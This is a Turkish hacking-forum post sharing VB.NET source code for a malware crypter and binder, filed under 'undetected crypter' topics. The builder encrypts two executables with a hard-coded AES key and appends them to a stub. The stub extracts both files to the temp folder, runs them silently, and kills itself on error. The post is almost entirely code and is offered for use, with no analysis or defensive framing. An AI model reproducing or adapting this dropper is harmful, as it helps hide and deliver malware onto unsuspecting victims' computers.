İPUCU

Undetected Crypter, HEX kodlama ile ilgili konular

Seçenekler

Crypter ve Binder Kodları

06-07-2017 19:14
#1
Üyelik tarihi:
07/2015
Mesajlar:
282
Teşekkür (Etti):
45
Teşekkür (Aldı):
22
Konular:
26
Daha önce paylaşıldımı bilmiyorum bi arşivimde buldum belki işinize yarar.

Stup Kodları
Kod:
Public Class Form1
    Function UnSecure(ByVal data As Byte()) As Byte()
        Using SA As New System.Security.Cryptography.RijndaelManaged
            SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
            S****ey = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
            Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
        End Using
    End Function
    Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
        Try
            Dim TempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp
            Dim drop() As String = Split(System.IO.File.ReadAllText(Application.ExecutablePath), "[ReVaLaTioN]")

            Dim File1 As Byte() = UnSecure(Convert.FromBase64String(drop(1)))
            Dim File2 As Byte() = UnSecure(Convert.FromBase64String(drop(3)))

            My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & drop(2), File1, False)
            My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & drop(4), File2, False)
            Process.Start(TempDir & "\" & drop(2)) : Process.Start(TempDir & "\" & drop(4))
        Catch ex As Exception
            Process.GetCurrentProcess.Kill()
        End Try
    End Sub
End Class
Builder Kodları
Kod:
Public Class Form1
    Dim F, F2 As String
    Function Secure(ByVal data As Byte()) As Byte()
        Using SA As New System.Security.Cryptography.RijndaelManaged
            SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
            S****ey = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
            Return SA.CreateEncryptor.TransformFinalBlock(data, 0, data.Length)
        End Using
    End Function
    Function UnSecure(ByVal data As Byte()) As Byte()
        Using SA As New System.Security.Cryptography.RijndaelManaged
            SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
            S****ey = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
            Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
        End Using
    End Function
    Private Sub Button1_Click(sender As System.Object, e As System.EventArgs) Handles Button1.Click
        Dim lojistik As New OpenFileDialog
        With lojistik
            .FileName = "*.*"
            .Title = "Dosya Seçiniz..."
            .Filter = "Tüm Dosyalar (*.*)|*.*"
            .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
            If .ShowDialog = Windows.Forms.DialogResult.OK Then
                F = .SafeFileName
                TextBox1.Text = .FileName
            End If
        End With
    End Sub

    Private Sub Button2_Click(sender As System.Object, e As System.EventArgs) Handles Button2.Click
        Dim lojistik As New OpenFileDialog
        With lojistik
            .FileName = "*.*"
            .Title = "Dosya Seçiniz..."
            .Filter = "Tüm Dosyalar (*.*)|*.*"
            .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
            If .ShowDialog = Windows.Forms.DialogResult.OK Then
                F2 = .SafeFileName
                TextBox2.Text = .FileName
            End If
        End With
    End Sub

    Private Sub Button3_Click(sender As System.Object, e As System.EventArgs) Handles Button3.Click
        Try
            Dim allstar As New SaveFileDialog
            With allstar
                .FileName = "*.*"
                .Title = "Dosya Seçiniz..."
                .Filter = "Tüm Dosyalar (*.*)|*.*"
                .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
                If .ShowDialog = Windows.Forms.DialogResult.OK Then
                    Dim sp As String = "[ReVaLaTioN]"
                    Dim buffer As Byte() = My.Resources.Stub
                    My.Computer.FileSystem.WriteAllBytes(.FileName, buffer, False)
                    Dim file1 As Byte() = Secure(My.Computer.FileSystem.ReadAllBytes(TextBox1.Text))
                    Dim file2 As Byte() = Secure(My.Computer.FileSystem.ReadAllBytes(TextBox2.Text))
                    System.IO.File.AppendAllText(.FileName, sp & Convert.ToBase64String(file1) & sp & F & sp & Convert.ToBase64String(file2) & sp & F2)
                    MsgBox("Birleştirme İşlemi Tamamlandı !", MsgBoxStyle.Information + MsgBoxStyle.OkOnly, "Lojistik ALLStar")
                End If
            End With
        Catch ex As Exception
            MsgBox("Hata Oluştu !" & ex.Message, MsgBoxStyle.Critical, "Lojistik ALLStar")
        End Try
    End Sub

    Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load

    End Sub
End Class


Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı